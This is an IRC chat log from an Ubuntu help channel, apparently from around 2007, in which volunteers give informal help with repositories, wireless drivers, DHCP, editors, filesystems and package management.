[04:48] <Canonball> yes blanky
[04:48] <Ahorner> ahh ok
[04:48] <rbil> robdeman: yes, as tab is autocompletion and if you don't actually start typing in the command you want, it'll have to assume it needs to list all commands
[04:48] <Ahorner> so what do i add to lists to enable multiverse
[04:49] <robdeman> rbil: aaah....
[04:49] <Ahorner> *sources*
[04:49] <atoponce> Ahorner: just that. 'multiverse'
[04:49] <blanky> !repositories > Ahorner
[04:49] <rpc> so what is my first step for grabbing the right ubuntu iso?
[04:49] <rpc> i need Kubuntu
[04:49] <Senesence> Ubuntu is unable to renew a DHCP lease, only windows can do that.....or so it seems.
[04:49] <blanky> rpc: if you have a pretty slow computer or if you just want to be on the safe side get the alternate install disk
[04:49] <Ahorner> where do i put it in at
[04:49] <atoponce> Ahorner: add it at the end of the already uncommented existing lines
[04:49] <blanky> rpc: otherwise get the desktop install disk, they're both the same thing, just the installation methods are different
[04:49] <nosse> Ahorner: https://help.ubuntu.com/community/Repositories/Ubuntu
[04:50] <Ahorner> does it matter where
[04:50] <vitalstatistix> any folks here with geforce go 6400/6200 cards on their laptops?
[04:50] <atoponce> Ahorner: look at the docs
[04:50] <blanky> Canonball: When did you get the error, in the very beginning? Or when you were installing?
[04:50] <rpc> blanky hm
[04:50] <atoponce> Ahorner: that everyone is showing you
[04:50] <Ahorner> lol ok
[04:50] <Canonball> blanky: should i write the error on a sheet and tell you exactly?
[04:50] <sacater> Ahorner: send me your sources.list and the source you are trying to add to my email, i will do for you
[04:50] <blanky> Canonball: that would be great
[04:50] <vitalstatistix> any folks here with geforce go 6400/6200 cards on their laptops?
[04:50] <Canonball> kk see ya soon
[04:50] <Senesence> I wonder how you get people to help you out in this jungle?

[04:50] <blanky> Senesence: what's the problem?
[04:51] <Senesence> blanky: Ubuntu can't renew DHCP lease.
[04:51] <sacater> Ahorner: past your sources.list to past.ubuntu-nl.org
[04:51] <sacater> oast*
[04:51] <sacater> past**
[04:51] <WaqasToor> has any body tried the localization thingie that is under launchpad rosseta ?
[04:51] <BVBBQ> for some reason the people at #amarok seem useless at figuring out a small issue i am having with my ipod.
[04:51] <sacater> paste***
[04:51] <blanky> you're sure everything else is set up correctly; routers, modems, things like that?
[04:51] <jetscreamer> Senesence: try ifdown eth0 && ifup eth0
[04:51] <sacater> sacater: then show me the source you are trying to add
 sacater: then show me
[04:51] <blanky> hey jetscreamer you're from #ioquake3! :D
[04:51] <Ahorner> im confused
[04:51] <ekom13> how do i save a change i make to the file ect/default/bluetooth  it says its read only
[04:52] <atoponce> Senesence: don't forget sudo in front of the commands that jetscreamer said
[04:52] <Ahorner> what is the exact line i put in to enable multiverse
[04:52] <blanky> Ahorner: that's because you keep ignoring what everyone is telling you to do
[04:52] <Senesence> jetscreamer: Tried that, didn't work, but shouldn't ubuntu do this automatically like windows does?
[04:52] <jetscreamer> blanky: yeah i'm in there

[04:52] <jetscreamer> Senesence: yes, it works here all i know
[04:52] <sacater> Ahorner: grr, paste your sources.list to past.ubuntu-nl.org
[04:52] <rbil> ekom13: you need to sudo to edit things in /etc
[04:52] <blanky> Ahorner: look for the section on multiverse
[04:52] <robdeman> rbil: is it possible that this 'freezing' behaviour becomes less after a while b/c the filesysrem has been cached or something? my live production Ubuntu machine is much faster when I hit 'tab' -- and this is going throuvgh a ssh connection... ?
[04:52] <Ahorner> atoponce: ok
[04:52] <ekom13> how do i save it in the terminal then?
[04:52] <blanky> ekom13: what editor? nano?
[04:52] <blanky> ekom13: vim?
[04:52] <Ahorner> how exactly do i pm
[04:53] <jetscreamer> ctrl+-x to exit and save in nano
[04:53] <ekom13> yes nano
[04:53] <Ahorner> nvm lol jk
[04:53] <blanky> ekom13: CTRL+O
[04:53] <jetscreamer> ctrl+o to save
[04:53] <blanky> ekom13: I think
[04:53] <sacater> Ahorner: join #sacater so we can sort this out, atoponce you too
[04:53] <ekom13> awesome thanks
[04:53] <blanky> ekom13: then CTRL+X to quit
[04:53] <rbil> robdeman: hmmm, through ssh? I don't believe it caches, but I could be wrong
[04:53] <blanky> I think
[04:53] <Senesence> jetscreamer: I tried everything, taking up/down the interface, using dhclient, but I can't renew lease. I have to boot windows to get a lease, and then I can use ubuntu but only until lease expires again. What can I do here?
[04:53] <noelferreira> hi people. anyone with experience with rt61 wireless driver. i have a conflict between rt61sta.dat file and /etc/network/interfaces. my system hangs up. any help?
[04:53] <jetscreamer> those things at the bottom of nano....ctrl
[04:53] <robdeman> rbil: my fresh Ubuntu 6.10 server locally responds much slower / has those weir d'lockups' when pressing tab (lotsa hdd activity) than my remote Ubuntu machine?
[04:54] <atoponce> Ahorner: /join #sacater
[04:54] <sacater> Ahorner: please join #sacater with me and atoponce
[04:54] <jetscreamer> Senesence: not sure not my forte :/ ...examine what pump or dhclient or whichever is doing i guess
[04:54] <blanky> Senesence: did you do what he said to do?
[04:54] <Dave_O`Tool> Does the new 7.04 64bit work on core2duo or do I still need to go with x86?
[04:54] <rbil> robdeman: give me an example of how you're using tab
[04:54] <Senesence> blanky: Yea, didn't work, I still had to boot windows to get a lease.
[04:54] <sacater> Ahorner: please type this..... /j #sacater
[04:55] <robdeman> rbil: well just vi /etc/sys <tab> ... and then I want a list of whatever there is /etc/ that starts with sys....
[04:55] <blanky> Senesence: Since it indeed is hard to get help here, you might want to try the forums ( ubuntuforums.org )
[04:55] <Dave_O`Tool> Does the 7.04 64bit work on core2duo or do I still need to go with x86?
[04:55] <laptop> OMFG I just downloaded REALPLAYER and realmedia STILL doesnt play in firefox who do I have to kill to associate realplayer with firefox????
[04:55] <jetscreamer> Senesence: you 'can' just make it a static ip, if you know what to put... a hack but functional
[04:56] <blanky> laptop: check about:plugins, is realplayer in there?
[04:56] <noelferreira> hi people. anyone with experience with rt61 wireless driver. i have a conflict between rt61sta.dat file and /etc/network/interfaces. my system hangs up. any help?
[04:56] <Senesence> jetscreamer: What happens when my provider decides to shuffle the IP's given out? (it does that sometimes)
[04:56] <esperegu> I want to deinstall a package that failed during installation but a 'apt-get remove vmware-player' fails... any suggestions?
[04:56] <blanky> noelferreira: maybe you would like to try the forums ( ubuntuforums.org )
[04:56] <atoponce> Dave_O`Tool: /join #ubuntu+1 for feisty support
[04:57] <blanky> esperegu: is that waht the package was called? if so, try sudo apt-get remove --purge vmware-player
[04:57] <dfgas> anyone get a sigmatel 9200 (sound card) working yet?
[04:57] <esperegu> blanky: k. tryin

[04:58] <Senesence> ifconfig doesn't give me as much information as ipconfig /all on windows. Where can I see the lease obtained/expires dates on ubuntu?
[04:58] <jetscreamer> try apt-get -f install
[04:59] <jetscreamer> did you try ifconfig -a ?
[04:59] <mc44phone> ok i have a screwed grub and a partially corrupt alternate install cd. any cunning ideas?
[04:59] <rbil> robdeman: sorry, I don't know why?
[04:59] <jetscreamer> boot the cd, hit c, fix it
[05:00] <mc44phone> c?
[05:00] <mc44phone> the alternate cd grub install is erroring
[05:00] <Senesence> Anyone know the command to show DHCP lease obtained/expires dates?
[05:00] <atoponce> mc44phone: download and burn a new one
[05:00] <mc44phone> yeah except i cant boot into an os
[05:01] <atoponce> mc44phone: so what are you using right now for irc?
[05:01] <Ahorner>  like cheece
[05:01] <mc44phone> my phone
[05:01] <atoponce> mc44phone: interesting. well, you're not going to get far with a bad cd. you need a good one
[05:02] <noelferreira> please people. i need urgen help
[05:02] <noelferreira> hi people. anyone with experience with rt61 wireless driver. i have a conflict between rt61sta.dat file and /etc/network/interfaces. my system hangs up. any help?
[05:02] <atoponce> noelferreira: no, i don't have experience with wireless
[05:02] <noelferreira> lol thanks anyway atoponce
[05:03] <mc44phone> <atoponce: i can get into a shell with my working edgy partition on it but grub-install says not a block device
[05:03] <blanky> esperegu: you might want to try virtual box, http://www.virtualbox.org/wiki/Downloads
[05:03] <[echelon] > okay
[05:03] <esperegu> blanky: I saw it. but I need vmware for now... have a premade image
[05:03] <[echelon] > i'm a windows user about to install ubuntu
[05:03] <cliebow> Yay!
[05:04] <[echelon] > what would be a good partition to put on my external HD that can both be read by windows (to back up music/movies/etc.) and ubuntu?
[05:04] <[echelon] > would FAT32 be fine?
[05:04] <[echelon] > s/partition/filesystem
[05:04] <foul> [echelon] : It doesn't really matter..
[05:04] <rbil> echelon: FAT32 is probably what u want
[05:04] <jetscreamer> fat32 has a 2gb filesize limit
[05:04] <atoponce> mc44phone: wget the alternate iso from the shell. there is a text-based cd burner, but not sure what it's called...
[05:04] <iapx8088> [echelon] , I suggest you avoid ntfs
[05:04] <foul> Depends on really if you're still using win32
[05:04] <jetscreamer> if you don't have >2gb file... sure
[05:05] <foul> FAT32 would be ok, for reading on win/nix
[05:05] <foul> & writing ;)
[05:05] <[echelon] > okay
[05:05] <[echelon] > i shall format as FAT32
[05:05] <jetscreamer> vfat
[05:05] <esperegu> is ntfs a problem then?
[05:05] <foul> Great.
[05:05] <mc44phone> atoponce: need ndisrapper
[05:05] <cyt> Why does Ubuntu ship with the tiny vervion of Vim? Do guys really use it to do works?
[05:05] <laptop> Which fileformat is better EXT3 or NTFS?
[05:05] <robdeman_> folks I have a Intel 82801ER raid controller... is there anyway to use thbis with Ubuntu?
[05:05] <foul> [echelon] : are you doing this on this computer, or another?
[05:05] <atoponce> mc44phone: to get online?
[05:05] <blanky> [echelon] : FAT32 on what, linux? or windows?
[05:05] <mc44phone> yep
[05:05] <[echelon] > this computer
[05:05] <jetscreamer> laptop: that depends on what you need it for
[05:05] <foul> laptop: They're two different sorts of systems.
[05:05] <laptop> UBUNTU
[05:06] <laptop> for running ubunut
[05:06] <laptop> ubuntu
[05:06] <atoponce> mc44phone: hmm. then that's out of my league. i've never had any luck with wireless in linux
[05:06] <jetscreamer> then ntfs wouldn't be your first choice
[05:06] <foul> laptop: ntfs isn't a linux filesystem
[05:06] <blanky> [echelon] : it doesn't really give great performance I think, I suggest just keeping it NTFS and ext2/3/reiserfs, and using tools to read back and forth
[05:06] <nosse> cyt: I use vim
[05:06] <laptop> foul yes but does that mean it wont work?
[05:06] <[echelon] > blanky
[05:06] <ravi_master> anyone know how to get linuxmce on ubuntu installation?
[05:06] <blanky> cyt: I had the same problem, just sudo apt-get install vim
[05:06] <blanky> [echelon] : hello
[05:06] <foul> laptop: not neccesarily, but it's not really worth trying.
[05:06] <[echelon] > hmmmm
[05:06] <atoponce> mc44phone: can you pastebin your /boot/grub/menu.list?
[05:06] <jetscreamer> apt-get install mc
[05:07] <laptop> ok
[05:07] <ravi_master> jetscreamer: you're not talking to me are you?
[05:07] <esperegu> anyone suggestions to deinstall a failed package? apt-get remove --purge and dpkg -r did not work...
[05:07] <cyt> nosse: Me too. So I'm curious why ships with a tiny version. It seems guys use FULL vim :P
[05:08] <nosse> cyt: what is full vim?
[05:08] <jetscreamer> ravi_master: not afaik, but if mc seems cool to you go for it
[05:08] <jetscreamer> ah no idea what that mce thingy is
[05:08] <nosse> I've been using the one that comes with ubuntu
[05:08] <mc44phone> atoponce: not without typing it all out by hand
[05:08] <ravi_master> jetscreamer: what the heck is mc?
[05:08] <jetscreamer> midnight commander
[05:08] <gharz> guys, how do i restore the login window for gnome? i previously installed xubuntu-desktop and it replaced the gnome login window.
[05:08] <gharz> please help
[05:08] <jetscreamer> apt-cache search mc
[05:08] <ravi_master> !mc
[05:08] <ubotu> mc: midnight commander - a powerful file manager. In component universe, is optional. Version 1:4.6.1-5 (edgy), package size 2057 kB, installed size 5944 kB
[05:08] <jetscreamer> gharz: dpkg-reconfigure gdm i think
[05:09] <gharz> jetscreamer, ok... i'll try that
[05:09] <[echelon] > jetscreamer
[05:09] <cyt> nosse: pkg name 'vim', Ubuntu ships with 'vim-tiny' by default.
[05:09] <jetscreamer> sudo of course
[05:09] <[echelon] > mind if i send you a privmsg?
[05:09] <[echelon] > kinda confusing in this huge room
[05:09] <[echelon] > :P
[05:09] <jetscreamer> not sure you can.. you can try
[05:09] <gharz> jetscreamer, looks like it worked... i'll check on it now.
[05:09] <gharz> thanks!
[05:10] <cyt> nosse: I found this becoz ':syntax on' cannot work :P

[05:12] <shay-> would you like to view the x erver output to diagnose the problem?

[05:13] <gharz> jetscreamer, it didn't replace the xubuntu login after dpkg-reconfigure gdm.
[05:13] <shay-> ok
[05:13] <shay-> wait a second plz
[05:13] <blanky> derspankster: installing drivers? You've tried to install them, right?

[05:14] <[echelon] > does ubuntu support dual-monitor setup?
[05:14] <jetscreamer> gharz: not sure then
[05:14] <[echelon] > my lappy is tricky
[05:14] <derspankster> card freezes after boot
[05:14] <blanky> [echelon] : sure you just need to configure it

[05:14] <[echelon] > :P
[05:14] <democracy> Attention Ubuntu! Has anyone fixed the rt61 wireless driver issues? My system just freezes!
[05:14] <jetscreamer> [echelon] : what blanky said
[05:14] <giany911> aw man beryl is great:D
[05:14] <Ayabara2> Will "CD quality, lossy" in Sound Juicer give good enough results? Back in my windows days I used AAC@160kbps
[05:15] <blanky> derspankster: sorry, don't know about that, say it again in one message, so other people can probably help
[05:15] <derspankster> display freezes I mean
[05:15] <lalakis> hello, how can I activate xgl frontend?
[05:15] <derspankster> want to install nvidia 6200 and when I do, system boots then display freezes
[05:16] <cyt> blanky: I know how to solve this problem. But my problem is why this problem should happen? :P
[05:17] <blanky> cyt: it's not a problem, although it is with most people, it's like you said, they installed a lite version of vim I guess, don't know why
[05:17] <syntaxx> im having problem in pam_tally.so to work i added auth required and account required pam_tally.so onerr=fail no_magic_reset deny=4 but whenever i login with 4 invalid logins it doesnt lock the user. anyone know why im having that error?
[05:17] <ekom13> can someone help me with my speakers?  when using head phones sound works just fine, other wise i get no sound.
[05:18] <tbuss> im having problems installing a wifi card with rtl8158l chipset, I have tried variuos tutorials and howto's, nothing is working
[05:18] <[echelon] > dude

[05:18] <[echelon] > :P
[05:19] <yipe> is there a way to get a list of all the packages I have added over the default packages since install?
[05:19] <noelferreira> hi people. anyone with experience with rt61 wireless driver. i have a conflict between rt61sta.dat file and /etc/network/interfaces. my system hangs up. any help?
[05:19] <atoponce> yipe: you want just the packages that you installed that did not come with the default install?
[05:20] <yipe> atoponce, exactly :)
[05:20] <atoponce> yipe: i don't know of any way to do that off hand. i imagine it would require some shell scripting
[05:20] <tbuss> anyone know of a channel for wifi help
[05:20] <bruenig> do what
[05:20] <quaal> why do we not have a fsck option on boot ?
[05:20] <isofunk> no
[05:21] <quaal> i had to burn a livecd to run fsck
[05:21] <atoponce> yipe: probably looking for date-timestamps on executables, maybe, would be my first attempted guess
[05:21] <robdeman_> ehrm folks: apt-get command not found...?
[05:21] <NickGarvey> quaal, you can run it from the terminal..
[05:21] <bruenig> yipe, what is it you are trying to do
[05:21] <robdeman_> how can i install apt-get without having apt-get ?
[05:21] <atoponce> yipe: could prove to be an interesting challenge, i guess
[05:21] <democracy> robdeman_: apt-get install apt-get
[05:21] <quaal> NickGarvey, i was not able to get to the terminal.
[05:21] <NickGarvey> quaal, whys that?
[05:21] <quaal> NickGarvey, i couldnt boot to the linux drive.
[05:21] <tbuss> later everyone. thanks for all your help
[05:21] <quaal> it took me to initramfs
[05:22] <quaal> (busybox)
[05:22] <atoponce> bruenig: he wants a list of only the packages that he installed, not the ones from the default install
[05:22] <quaal> it has no fsck
[05:22] <NickGarvey> quaal, any chance that you have a jmicron chipset?
[05:22] <Peter_Johnsson> soudns like the same problem i have i cant even install from a live cd
[05:22] <quaal> NickGarvey, nf7-s, nforce2
[05:22] <robdeman_> ah.. where is the file to enable/disable apt-get repositories?
[05:23] <Peter_Johnsson> jmicron.. sigh i want a fix
[05:23] <democracy> robdeman_: /etc/apt/sources.list
[05:23] <yipe> bruenig, well at this point I'm just interested in the problem for curiosity's sake, but I was trying to make a post-install script for when I re-partition my drive in preparation for upgrading to feisty
[05:23] <robdeman_> thx
[05:23] <NickGarvey> Peter_Johnsson, dev said he'd have it up today
[05:23] <erUSUL> quaal: you can force a fsck in next reboot like this 'sudo touch /forcefsck'

[05:33] <poningru> ferronica: do you want to read and write to ntfs?
[05:33] <kdavf> for ubuntu you dont need anything else.
[05:33] <kdavf> is only read only though
[05:33] <frojnd> hello guys: how can I connect on other ubuntu maschine if I know username pass and IP ?
[05:33] <ferronica> poningru: yes
[05:33] <kdavf> use captive if you want read write but dont reccommend it.
[05:33] <kdavf> frojnd: ssh
[05:33] <poningru> ferronica: hold on dude

[05:34] <robdeman_> folks is there a tool to setup the network from a terminal? some wizzard like the installer uses?
[05:34] <rbil> frojnd: use ssh if you have sshd running on the other ubuntu box
[05:34] <atoponce> frojnd: assuming, that there is an ssh server installed at the IP address
[05:34] <frojnd> if not?
[05:34] <frojnd> he must install sshd?
[05:34] <atoponce> frojnd: yup
[05:34] <atoponce> frojnd: or telnet
[05:34] <kdavf> robdeman lol how could you do that! you couldn't connect to the machine remotely w/o ip
[05:35] <atoponce> frojnd: or, you'll need to be at the physical terminal
[05:35] <SeveredCross> Remotely?
[05:35] <cliebow> frojnd, sudo apt-get install openssh-server
[05:35] <SeveredCross> You can control the network from the command line via ifconfig...

[05:38] <poningru> which is kinda hard to do
[05:38] <SeveredCross> ferronica: Drop to a command prompty, type sudo apt-get install ntfs-3g
[05:38] <poningru> unless you know command line a bit
[05:38] <SeveredCross> The guide will tell you I think.
[05:39] <ep2011> Duckers_ - Did you check the disk for errors?
[05:39] <cld2> cliebow: :) thanks man.
[05:39] <Duckers_> ep2011: no.. how do i do that?
[05:39] <vox754> !ask > tbuss
[05:39] <cliebow> cool..worked ok then?
[05:39] <bruenig> yipe, ok, I think I have figured a way, if you do this it will tell you everything that you added or updated after you installed: INSTALL=$(ls -l /var/lib/dpkg/info | grep \ time.list$ | awk '{print $6}') ; ls -l /var/lib/dpkg/info | grep .list$ | grep -v $INSTALL | awk '{print $8}' | sed 's/.list//'
[05:39] <cld2> yup
[05:39] <cliebow> ^_^
[05:39] <Sixer> Hi, has anyone gotten netatalk-2.0.3 to work right out of the box?
[05:39] <Sixer> The box being the apt-package in Universe
[05:39] <ep2011> Duckers_ - when you put in the disk, instead of choosing "start kubuntu" click "check disk for errors"
[05:39] <Sixer> I can't connect to the machine from my OS X workstation
[05:39] <ep2011> (or something similar to that)

[05:40] <Sixer> robdeman_: I like pico/nano, heh
[05:40] <Duckers_> ep2011: i allready have two partitions on it with other os'es.. i don't want to mess them up.. any risk of doing that?
[05:40] <robdeman_> VI doesnt really work verry well .. esc-i doesnt insert.. not sure what happened

[05:41] <yipe> bruenig, you're a genius
[05:41] <ferronica> poningru: E: Couldn't find package ntfs-3g
[05:41] <ferronica> poningru: :(
[05:41] <ep2011> Duckers_ - all it does is check the disk, it doesnt do ANYTHIGN with your harddrive
[05:41] <bruenig> I wish there was a way to weed out the updated stuff too, but the timestamps change so...
[05:41] <vox754> !audacity > Jonas_
[05:41] <ep2011> Duckers_ - its good to check the disk, because even if the md5 is correct, the disk has a good chance of having errors while burning
[05:42] <kingcobra> can somebody please tell me how to get my gui working as normal again thanx
[05:42] <Duckers_> ep2011: The "disk" is actually two hdd's in raid 0... do i have to take any precautions to make that work?
[05:42] <lalakis> when i try to boot live cd I get the error: Buffer I/O error on device hda logical block 357574. What's this about?
[05:42] <tbuss> looking for a way to get a wifi card with a rtl8185L chipset to work. I have tried ndiswrapper and linux drivers from sourceforge. Should I just forget about the card and purchase one that will work
[05:42] <Duckers_> ep2011: you mean the installation disk might have errors?
[05:43] <ep2011> Duckers_ - yes
[05:43] <joaquin_> hello there! installed Ubuntu on my Toshiba Satellite, works GREAT! I still have two things to fix: sound, and the 5-in-1 card reader. Any Toshibites out there? :)
[05:43] <Duckers_> ep2011: ok thanks, one last thing: is raid supposed to work without doint anything special?
[05:43] <Jonas_> vox754: 1.2.4 does not support ALSA, I read that 1.3 would do
[05:43] <joaquin_> (Yeah, I've been googling, and apparently the card reader in Feisty Fawn is buggy)
[05:43] <ep2011> Duckers_ - I have no experience with that, sorry :(
[05:44] <soundray> joaquin_: you've installed feisty? Try #ubuntu+1 please
[05:44] <joaquin_> soundray: thanks!
[05:44] <ferronica> poningru: E: Couldn't find package ntfs-3g
[05:44] <Duckers_> ep2011: thanks for your help =)
[05:44] <yipe> Bruenig, that's okay, this is a HUGE start, I can just quickly pare down the really obvious stuff, this is a great help
[05:45] <gvc> can someone help[ me load my nvidia nforce2 Chipset Driver...I did this lspci | grep -i nvidia at the terminal...I show a 00:04.0 Ethernet controller: nvidia copr nForce2 ehternet controller
[05:45] <ep2011> Duckers_ - No problem
[05:45] <soundray> lalakis: hda could be your CD-ROM device (if it's connected as the master to the primary IDE channel). If so, it's probably a faulty CD.
[05:45] <gvc> but it doesn't work
[05:45] <vox754> Jonas_, never used it, so try it and then tell me, sorry. Try going to their webpage.
[05:45] <soundray> lalakis: try the CD check from the boot menu
[05:45] <ep2011> Does anyone have recommendations of a USB Wireless adapters to buy that is easy for a beginner to configure?
[05:46] <tbuss> I have belkin wifi card chipset rtl8185l apparently it does not work with linux, looking info on where to find support or info, I have looked everywhere
[05:46] <cld2> ep2011: try getting something with the intel chipset, so you can use the ipw2200 or ipw3950? drivers
[05:46] <soundray> ep2011: it's a lottery, unfortunately. Manufacturers often exchange the internals without changing the model name.
[05:46] <soundray> cld2: I've never seen one of those on a USB device -- only mini PCI.
[05:46] <rbil> ep2011: is this for a desktop or laptop machine?
[05:47] <cld2> soundray: you are most likely right. ive only seen them in pcmci and mini pci
[05:47] <kdavf> Anyone have any info on synce->email pgm?

[05:49] <soundray> ferronica: ^^ enable universe
[05:50] <tbuss> kingcobra: could you please guide in the right direction on how to get my card to work
[05:50] <bruenig> all he asked was how to mount, not how to write to it
[05:50] <ferronica> soundray: from synaptic
[05:50] <froyd> hey folks, when i launch any window it always start behind all ones, is there a way to change this ?
[05:50] <ferronica> soundray: source
[05:50] <kingcobra> whats ur card again
[05:50] <vox754> tbuss, I'm on wireless PCI, desktop PC, i386, ndiswrapper 1.37, WEP encryption
[05:51] <soundray> froyd: it's called focus stealing prevention. It *should* only happen when you're typing into the window in front
[05:51] <shay-> blanky could it be that i get my error cause of my vga card(8800gts)?
[05:51] <tbuss> vox754: I need help connecting with a belkin with RTL8185L chipset.
[05:51] <ep2011> rbil - this is for a desktop machine.
[05:51] <zack1> hello guys, does anyone know how to get php command in shell
[05:51] <blanky> shay-: I doubt it, search the forums for '8800 gts', I'm pretty sure other people have installed it with that already
[05:51] <froyd> soundray: ill check here then but anyway thx
[05:51] <tbuss> vox754: ndiswrapper and linux-restricted-modules do not work
[05:51] <ep2011> I have a linksys WUSB54Gv2 and v1 right now, but they are really bad quality, and hardly work
[05:51] <shay-> blanky ok thanks
[05:52] <zack1> i already used sudo apt-get install php5, but after it installed, i can't use php as command in shell, why?
[05:52] <Jonas_> vox754: yes, right, but all dependencies are installed, the error occurs after 'make'
[05:52] <rbil> ep2011: are you stuck on USB? do you also need to cable the connection at the same time as using wireless? I ask because maybe a wireless bridge would be in order. certainly no config necessary

[05:53] <_daedalus> I made some changes to xorg.conf last night.  I had a backup.  I reverted back to the backup later, but something must have gone wrong becuase now I can't start X.
[05:53] <_daedalus> Is there a place I can find the default xorg.conf for Dapper?
[05:53] <zack1> ubotu: thanks
[05:53] <ubotu> You're welcome! But keep in mind I'm just a bot ;-)
[05:53] <bruenig> _daedalus, just sudo dpkg-reconfigure xserver-xorg
[05:53] <ep2011> rbil - Do you mean PCI? I'd rather USB, as I haven't opened this machine yet and I'm kind of worried about the warrenty..., and what do you mean cable the connection? and can I use WEP with a wireless bridge?
[05:54] <bofh80> join #rhythmbox
[05:54] <_daedalus> bruenig: thanks, I will try that
[05:54] <soundray> _daedalus: there is no default -- it is generated on installation. See if the original is backed up: ls /etc/X11/xorg.conf*
[05:54] <rbil> ep2011: no, I'm talking about runnings standard cat5 cable from NIC in your box to a wireless bridge like this one for example ... http://www.superwarehouse.com/D-Link_AirPlus_Extreme_G_2.4_GHz_Wireless_Bridge/DWL-G810/p/326498
[05:54] <tbuss> is there a channel avail for wireless support
[05:55] <bruenig> soundray, xorg.conf isn't a directory
[05:55] <soundray> bruenig: what?  No config necessary and your ethernet cable can be as long as u want :-)
[05:56] <soundray> bruenig: I never said it was.
[05:56] <vox754> tbuss, what is your hardware, I mean PC or Laptop, USB or PCI
[05:56] <bofh80> does ryhthmbox have CDDB support? i ask here cos there's not channel apparently :D
[05:56] <bruenig> ah
[05:56] <ep2011> rbil - I have a wireless router... I need the thing to plug in to a computer across the house for wireless
[05:56] <ep2011> wireless adapter?
[05:56] <soundray> bofh80: it does -- accesses freedb.org by default as far as I know.
[05:57] <rbil> ep2011: I understand. But a bridge like this just plugs into your computer via ether cable and that's it. no config necessary. works on all boxes.
[05:57] <ep2011> Oh
[05:57] <bofh80> soundray, cool. cos i never seen it work and i can't find an option :D
[05:57] <Wotanskrieger> I'm using Edgy, I would like a comment about when is better migrate to Feisty Fawn (I think that April is early to migrate)
[05:57] <ep2011> rbil - how do you enter the WEP password?
[05:58] <ikonia_> Wotanskrieger: migrate when you feel you are ready
[05:58] <Sixer> Does an apt package exist for Berkeley DB and its headers?

[06:03] <ep2011> rbil - thats not what im saying, I was saying I wish I could do hard-wired
[06:04] <pibarnas> BloodyNoob what's intalled without 3d?
[06:04] <rbil> ep2011: and u can also connect higher gain antenna to the bridge
[06:04] <vox754> tbuss, I think what you downloaded is a kernel module, probably integrated on the kernel itself so you may not need it. I assume you are following a guide somewhere, have you checked the ubuntuforums.org?
[06:04] <soundray> bofh80: sound-juicer definitely has freedb support. Please don't use swearwords here - it gets in the way of people who want to use the channel professionally.

[06:04] <bofh80> soundray, ahhh the d*mn word?
[06:04] <rbil> ep2011: idea of a bridge like this is that the computer treats it as if it was hardwired to a router

[06:21] <laptop> THERE Is no way to add a filetype to associate in Firefox, is that a bug?
[06:21] <soundray> ferronica: append that line to /etc/apt/sources.list then
[06:21] <ferronica> soundray: In Ubuntu 6.06 LTS source ---> ADD--> custom --->APT Line
[06:21] <Dumahen> how can i fix this problem ?? pls help me  http://img118.imageshack.us/my.php?image=ekrangrntstc9.png
[06:21] <RoundyT1> i use the "back" button in browsers...and was wondering if i could just install something to map that button or whatever.
[06:21] <bruenig> laptop, click on that filetype and then when the prompt comes up asking you what to do, tell it
[06:21] <ferronica> soundray: like this
[06:21] <jrib> blanky: apt-cache search -n mysql admin
[06:21] <bruenig> laptop, there is no way to just go into it and add. You have to actually have come upon that filetype before
[06:22] <blanky> jrib: no just front ends
[06:22] <blanky> damn I'm very desperate and in a hurry where are these things!?
[06:22] <jrib> blanky: mysql-client-5.0
[06:22] <blanky> thanks jrib I appreciate it
[06:22] <ferronica> soundray: when i paste this command in terminal "/etc/apt/sources" error  no such file or directory
[06:22] <jrib> blanky: assuming you use mysql 5 I guess
[06:23] <laptop> bruenig, I have, repeatedly.
[06:23] <blanky> jrib: me too haha
[06:23] <soundray> ferronica: it's called /etc/apt/sources.list
[06:23] <MrMary> does ubuntu have good wierless support
[06:23] <bruenig> laptop, what filetype are you talking about
[06:23] <laptop> rtsp
[06:23] <bruenig> laptop, ok and what is the problem
[06:23] <jrib> !wireless > MrMary    (MrMary, see the private message from ubotu)
[06:23] <soundray> MrMary: it's less than good. Few cards work out of the box. The new release is going to be a big improvement in that respect.
[06:23] <MrMary> thank you
[06:24] <MrMary> k
[06:24] <jft_> hey does anyone have a gnome IDE that will do c++ well
[06:24] <laptop> bruenig:  basically it says "Firefox doesnt know what to do because the protocol rtsp isnt associated with a program"
[06:24] <jft_> i do all of my work in console
[06:24] <laptop> no option to choose
[06:24] <jft_> but am looking for an IDE
[06:24] <ferronica> soundray: sudo: /etc/apt/sources.list: command not found
[06:24] <MrMary> thats what i'm waiting on is the wierless
[06:24] <laptop> bruenig:  no option to choose nothing.
[06:24] <bruenig> laptop, get mozilla-mplayer
[06:24] <erUSUL> jft_: emacs ;)
[06:24] <laptop> Its an alert message
[06:24] <iulian_> can someone tell me how can I see all processes running now on a machine?
[06:24] <soundray> ferronica: you have to open it with an editor
[06:24] <MrMary> vi!
[06:24] <rob_> jft_, I think Dev-Cpp might be up your street
[06:24] <jft_> i said IDE
[06:24] <laptop> bruenig:  I have that installed.
[06:24] <erUSUL> iulian_: ps ax | less
[06:24] <ceaser> jft_: try code::blocks
[06:24] <jft_> rob_, 10-4
[06:24] <jft_> p
[06:24] <bruenig> laptop, link to such an rtsp
[06:25] <ferronica> soundray: Give me full command please :(
[06:25] <soundray> ferronica: I'm gradually feeling less and less like helping you.  At some point you will have to go and *learn* a few things yourself.
[06:25] <iulian_> erUSUL, thanks
[06:25] <laptop> http://www.cspan.org/ go to "recent programs"
[06:25] <soundray> ferronica: and "Give me full command please :(" is just not on.
[06:25] <laptop> under "video/audio"
[06:26] <ferronica> soundray: just trying to learn
[06:26] <bruenig> laptop, I get a prompt that comes up and tells me it is an external protocol and asks me if I want to open it with totem and whether I want to associate it with totem automatically from now on
[06:26] <ravi_master> anyone sell a car in VA?
[06:26] <soundray> ferronica: most of the things you ask here are covered in the FAQ
[06:26] <ceaser> Does anybody know how I can change the font size in qt apps?
[06:26] <soundray> !faq > ferronica
[06:26] <bruenig> laptop, do you have totem all codeced ought
[06:27] <laptop> bruenig:  I uninstalled totem
[06:27] <laptop> no totem
[06:27] <bruenig> laptop, well do you have something that can handle it
[06:27] <laptop> I installed realplayer
[06:27] <laptop> you know the one who made rtsp
[06:27] <bruenig> laptop, oh wow, vomit,
[06:27] <laptop> what?
[06:27] <ferronica> soundray: then just tell me what to add in repos
[06:27] <laptop> they made rtsp
[06:27] <bruenig> laptop, real player is vomit
[06:27] <laptop> lol
[06:27] <ferronica> soundray: how
[06:27] <laptop> what do you suggest?
[06:27] <laptop> vomit?
[06:28] <bruenig> laptop, but anyways, I don't know where firefox is looking to make these decisions, it somehow figured out totem though
[06:28] <soundray> ferronica: no, I won't now, and I've told you why. My patience is up. Ask someone else, or better, READ THE FAQ
